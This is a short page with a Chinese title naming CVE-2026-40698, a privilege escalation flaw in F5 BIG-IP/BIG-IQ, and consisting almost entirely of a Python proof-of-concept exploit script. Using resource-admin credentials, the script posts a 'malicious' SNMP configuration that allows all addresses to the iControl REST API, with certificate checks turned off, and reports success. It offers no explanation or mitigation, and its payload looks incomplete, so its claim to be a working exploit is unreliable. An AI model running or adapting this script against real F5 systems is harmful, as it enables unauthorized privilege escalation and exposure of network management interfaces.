CVE-2026-40698 F5 BIG-IP/BIG-IQ权限提升漏洞

import requests import json # Target F5 BIG-IP/iControl REST endpoint target_url = "https://<TARGET_IP>/mgmt/tm/sys/snmp/" auth = ("<RESOURCE_ADMIN_USER>", "<PASSWORD>") headers = { "Content-Type": "application/json", } # Payload to create a malicious SNMP configuration object # Exploiting the lack of strict privilege checks on object creation payload = { "name": "exploit_config", "allowedAddresses": ["0.0.0.0/0"], # Example configuration # Additional fields might be required based on specific API version } try: # Send POST request to create object response = requests.post(target_url, data=json.dumps(payload), headers=headers, auth=auth, verify=False) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! SNMP object created.") print("[+] Response: " + response.text) else: print("[-] Exploit failed. Status code: " + str(response.status_code)) except Exception as e: print("[-] An error occurred: " + str(e))